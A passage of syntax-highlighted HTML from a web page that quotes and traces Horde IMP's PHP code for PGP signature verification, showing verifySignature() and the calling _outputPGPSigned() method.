class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372788847735919-7\"><span class=\"crayon-c\">\/* 345 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">keyid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">packet_info<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;keyid&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372788847735919-8\"><span class=\"crayon-c\">\/* 346 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372788847735919-9\"><span class=\"crayon-c\">\/* 347 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372788847735919-10\"><span class=\"crayon-c\">\/* 349 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">keyid<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372788847735919-11\"><span class=\"crayon-c\">\/* 350 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">keyid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getSignersKeyID<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372788847735919-12\"><span class=\"crayon-c\">\/* 351 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372788847735919-13\"><span class=\"crayon-c\">\/* 353 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* Get key ID of key. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372788847735919-14\"><span class=\"crayon-c\">\/* 354 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">public_key<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getPublicKey<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">address<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;keyid&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">keyid<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372788847735919-15\"><span class=\"crayon-c\">\/* 356 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">empty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">signature<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372788847735919-16\"><span class=\"crayon-c\">\/* 357 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">options<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;type&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;signature&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372788847735919-17\"><span class=\"crayon-c\">\/* 358 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372788847735919-18\"><span class=\"crayon-c\">\/* 359 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">options<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;type&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;detached-signature&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;signature&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">signature<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372788847735919-19\"><span class=\"crayon-c\">\/* 360 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372788847735919-20\"><span class=\"crayon-c\">\/* 361 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">options<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;pubkey&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">public_key<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372788847735919-21\"><span class=\"crayon-c\">\/* 363 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">empty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">charset<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372788847735919-22\"><span class=\"crayon-c\">\/* 364 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">options<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;charset&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">charset<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372788847735919-23\"><span class=\"crayon-c\">\/* 365 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372788847735919-24\"><span class=\"crayon-c\">\/* 369 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">decrypt<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">options<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372788847735919-25\"><span class=\"crayon-c\">\/* 370 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0042 seconds] -->  <\/p>\n<p><em>verifySignature()<\/em> is called from <em>_outputPGPSigned()<\/em>:<\/p>\n<p>Path &#8211; <em>\/imp\/lib\/Mime\/Viewer\/Pgp.php<\/em><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b37278c827387968\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 387 *\/ protected function _outputPGPSigned()  \/* 388 *\/ {  \/* 389 *\/ global $conf, $injector, $prefs, $registry, $session;  \/* 390 *\/  \/* 391 *\/ $partlist = array_keys($this-&gt;_mimepart-&gt;contentTypeMap());  \/* 392 *\/ $base_id = reset($partlist);  \/* 393 *\/ $signed_id = next($partlist);  \/* 394 *\/ $sig_id = Horde_Mime::mimeIdArithmetic($signed_id, &#8216;next&#8217;);  \/* 395 *\/  \/* 396 *\/ if (!$prefs-&gt;getValue(&#8216;use_pgp&#8217;) || empty($conf[&#8216;gnupg&#8217;][&#8216;path&#8217;])) {  \/* 397 *\/ return array(  \/* 398 *\/ $sig_id =&gt; null  \/* 399 *\/ );  \/* 400 *\/ }  \/* &#8230; *\/  \/* 417 *\/ if ($prefs-&gt;getValue(&#8216;pgp_verify&#8217;) ||  \/* 418 *\/ $injector-&gt;getInstance(&#8216;Horde_Variables&#8217;)-&gt;pgp_verify_msg) {  \/* 419 *\/ $imp_contents = $this-&gt;getConfigParam(&#8216;imp_contents&#8217;);  \/* 420 *\/ $sig_part = $imp_contents-&gt;getMIMEPart($sig_id);  \/* &#8230; *\/  \/* 433 *\/ try {  \/* 434 *\/ $imp_pgp = $injector-&gt;getInstance(&#8216;IMP_Crypt_Pgp&#8217;);  \/* 435 *\/ if ($sig_raw = $sig_part-&gt;getMetadata(Horde_Crypt_Pgp_Parse::SIG_RAW)) {  \/* 436 *\/ $sig_result = $imp_pgp-&gt;verifySignature($sig_raw, $this-&gt;_getSender()-&gt;bare_address, null, $sig_part-  &gt;getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET));  \/* &#8230; *\/<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278c827387968-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278c827387968-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278c827387968-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278c827387968-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278c827387968-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278c827387968-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278c827387968-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278c827387968-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278c827387968-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278c827387968-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278c827387968-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278c827387968-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278c827387968-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278c827387968-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278c827387968-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278c827387968-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278c827387968-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278c827387968-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278c827387968-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278c827387968-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278c827387968-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278c827387968-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278c827387968-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278c827387968-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278c827387968-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278c827387968-26\">26<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278c827387968-1\"><span class=\"crayon-c\">\/* 387 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">protected<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">_outputPGPSigned<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278c827387968-2\"><span class=\"crayon-c\">\/* 388 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278c827387968-3\"><span class=\"crayon-c\">\/* 389 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">global<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">conf<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">injector<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">prefs<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">registry<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">session<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278c827387968-4\"><span class=\"crayon-c\">\/* 390 *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278c827387968-5\"><span class=\"crayon-c\">\/* 391 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">partlist<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">array_keys<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">_mimepart<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">contentTypeMap<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278c827387968-6\"><span class=\"crayon-c\">\/* 392 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">base_id<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">reset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">partlist<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278c827387968-7\"><span class=\"crayon-c\">\/* 393 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">signed_id<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">next<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">partlist<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278c827387968-8\"><span class=\"crayon-c\">\/* 394 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sig_id<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Horde_Mime<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">mimeIdArithmetic<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">signed_id<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;next&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278c827387968-9\"><span class=\"crayon-c\">\/* 395 *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278c827387968-10\"><span class=\"crayon-c\">\/* 396 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">prefs<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getValue<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;use_pgp&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">||<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">empty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">conf<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;gnupg&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;path&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278c827387968-11\"><span class=\"crayon-c\">\/* 397 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278c827387968-12\"><span class=\"crayon-c\">\/* 398 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sig_id<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278c827387968-13\"><span class=\"crayon-c\">\/* 399 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278c827387968-14\"><span class=\"crayon-c\">\/* 400 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278c827387968-15\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278c827387968-16\"><span class=\"crayon-c\">\/* 417 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">prefs<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getValue<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;pgp_verify&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">||<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278c827387968-17\"><span class=\"crayon-c\">\/* 418 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">injector<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getInstance<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;Horde_Variables&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">pgp_verify_msg<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278c827387968-18\"><span class=\"crayon-c\">\/* 419 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">imp_contents<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getConfigParam<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;imp_contents&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278c827387968-19\"><span class=\"crayon-c\">\/* 420 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sig_part<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">imp_contents<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getMIMEPart<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sig_id<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278c827387968-20\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278c827387968-21\"><span class=\"crayon-c\">\/* 433 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278c827387968-22\"><span class=\"crayon-c\">\/* 434 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">imp_pgp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">injector<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getInstance<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;IMP_Crypt_Pgp&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278c827387968-23\"><span class=\"crayon-c\">\/* 435 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sig_raw<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sig_part<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getMetadata<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">Horde_Crypt_Pgp_Parse<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">SIG_RAW<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278c827387968-24\"><span class=\"crayon-c\">\/* 436 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sig_result<\/span><span class=\"crayon-h\"> 